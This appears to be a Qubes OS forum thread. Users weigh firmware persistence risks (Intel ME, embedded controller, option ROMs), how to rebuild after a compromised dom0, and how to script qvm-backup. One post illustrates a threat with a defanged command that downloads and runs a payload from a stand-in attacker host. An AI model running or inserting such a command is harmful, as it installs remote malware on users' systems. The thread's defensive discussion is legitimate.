In terms of throwing the hardware out? Yes I think so.
I assume you mean the risk from ME - which actually uses the BIOS firmware to BUP (bring up) as well as all the other partitions that make ME work. You can also set HAP bit which the three letter agency handily installed for when they run x86 hardware…
Just like your main processor, the ME processor needs firmware to boot - and thats on the BIOS chip in various partitions.
ME kernel? On your BIOS chip.
EFFS, POLICY,HOSTCOM partitions? Yep - on the BIOS chip.
Anything in there that was persistent is removed when you flash the BIOS back to factory. And if people neuter ME then its (as far as the community can tell) deader than tank tops.
Arguably other areas of the hardware to look out for persistence would be option ROMs and video BIOS, but id say thats a very long shot - if you can show me a single example of known persistence via GPU ROM id be interested.
Can you elaborate a bit more? Genuinely interested. Im not sure what persistence could remain on hardware using my model.
Security experts using mainstream OSes probably have IDS and external monitors (e.g. packet capturing devices) galore. They have enough expertise to comfortably use mainstream OSes.
Mainstream users, on the other hand, don’t have enough knowledge to even know what danger they’re in, so it’s an ‘ignorance is bliss’ scenario (sometimes willfully), until ransomware strikes.
This is convincing. I’m not a good judge, but this is convincing for at least the BIOS and ME/PSP portions of my concern.
By ‘below-ring-zero’ I meant ME/PSP, microcode, etc. which I understood as being it’s own mini computer that is separate from BIOS. However, you made it clear that I was mistaken, and you’re the expert here, so I defer to you.
I mentioned “other firmware threats” because BadUSB left a strong impression on me and I’ve been on the lookout for firmware threats since. My reasoning goes that if BadUSB is a legitimate threat, then why can’t this be the case for the myriad other pieces of firmware that make up my computer? From the sub-units of my motherboard to the GPU.
This was the start of my rabbit-hole journey down the hardware security chain of reasoning. It wasn’t pleasant. And then the Bloomberg piece confirmed a lot of my fears. Its veracity wasn’t important since the concerns it raised were legitimate.
There’s a good thread in the restricted section about hardware security, if anyone’s interested.
Thanks @fsflover that is indeed mostly the model i use. I personally discounted Wifi as the vast majority of machine I use dont have it, but I did mention network option roms earlier. I guess the update would be, to anyone with a wifi adapter on scorched earth hardware, swap it out to be sure.
This leaves SPI (BIOS), HDD and EC. Ive touched on BIOS and HDD already. So that leaves EC.
Now the EC is a processor on the SPI bus, and I do agree with Joannas work. However, what can it do practically? Joanna coves that here. If the EC isnt using firmware thats on the BIOS ROM (as the BIOS is flushed to stock on scorched earth), then there is a risk of something being there. Thats when it may be prudent to have a before vs after byte comparison of the EC firmware. But again, this would depend on the firmware not being in the BIOS SPI chip and being on a separate chip, and it would be of very limited use as a persistence vector (read: the persistence would need to know when - eg, sniffing the screen (already called out by Joanna as “questionable in practice”) for a specific situation such as terminal being open - to type out a set of pre defined keystrokes that hopefully the operator does not see appearing on their screen (lets say wget -O /tmp/1 hXXps://bad.actor/malware && sh /tmp/1 ). It just seems to me like a verry highly improbable set of persistence circumstances. To incorporate that into a threat model, I would say check the EC chip tech spec, make sure it has no onboard flash space and then check for all other SPI flash chips on your board.
however, we are again veering way off course from QubesOS and re-installing a compromised Dom0 from repos - I suspect @deeplow will be along soon, so I shall end my input to this particular tangent here.
Since you insist on doing something that’s insecure (a compromised dom0 means there’s very little you can trust about your current machine):
Back up your Qubes while praying the intruder hasn’t targeted this dom0-based tool;
Wipe your drives using your method of choice. Reflash BIOS (and maybe even other firmware) if you can be bothered to;
Install Qubes using verified media;
Restore using the backup and hope that you won’t just contaminate your fresh installation.
That’s the ‘quickest’ way I can think of using Qubes as it is. It may seem insultingly obvious, but AFAIK that’s the quickest and dirtiest way to swap out dom0 as things are.
It’s a bit like changing the diapers of a baby with a bad, ongoing case of diarrhea–chances are, you’ll just end up with freshly-soiled nappies.
Thanks for the reply. i did ask for the fast and dirty method. I didn’t know your answer would have been so graphic.
From your explanation, it’s a good idea to always have a copy of Qubes and your VMs on separate pristine medium.
Reflashing the BIOS is a pain but necessary. I had a similar issues with another machine where I was also concerned with obtaining a clean version of the firmware.
This whole procedure may take half a day for you; if you already have made backups, have a verified version of Qubes and a copy of the firmware. But for me it may take more than a day to gather firmwares and backups. Basically, it’s would take about 2 days.
Thanks for the suggestion, now if I can’t just find time to get this done.
That’s a good question. I wish I could do it every day automatically as most servers can automate this activity. This issue is I am not complete confident that my backups will occur because of the screen lock timer. So by default, I need to stay alert so that the screen doesn’t stop during the time required to backup. Please, keep in mind the time required for backups increase as make you more VMs.
I have no idea what would be a good way to automate the function as I cringe every time I think of making a backup.
That’s just my opinion, I am sure there are others out there that have way more experience in this activity and may provide you better insight as to how to best manage it.
But if you make a schedule, make it simple yet rigid to build in discipline by repetition.
I guess when you do a fresh install, specially if you use a usb drive (usual, I think) you can expose the machine to USB atacks. So, I do not know it tha is good idea.
The backup/restore GUI are very simple wrappers around qvm-backup and
qvm-backup-restore. Get familiar with those and write your own scripts.
This way you can:
run backup unattentded
if no error, verify backup unattended
if no error, shutdown or do whatever else you want to automate
Also with your own script calling qvm-backup you can do things like:
The OP was asking for ways to automate, I don’t think that’s a valid
context to criticize the GUI. It does in fact expose almost all options
the command line gives you sans the dangerous one (e.g. backup without
encryption).
Also luckily @adw picked up on the real head scratcher here. Why does
the OP feel the need to keep the screen unlocked? This may interest @ninavizz too.
I did not know that screenlockers did not interrupt background processes, until I was told as much. Yes, users will assume what may seem irrational to folks that understand how the internals work. We need to respect that, and improve how we communicate with non-technical users.
@fsflover We’re working on it! We really are. Qubes’ funding today is very modest, and we can only do so much. Please bear with us.
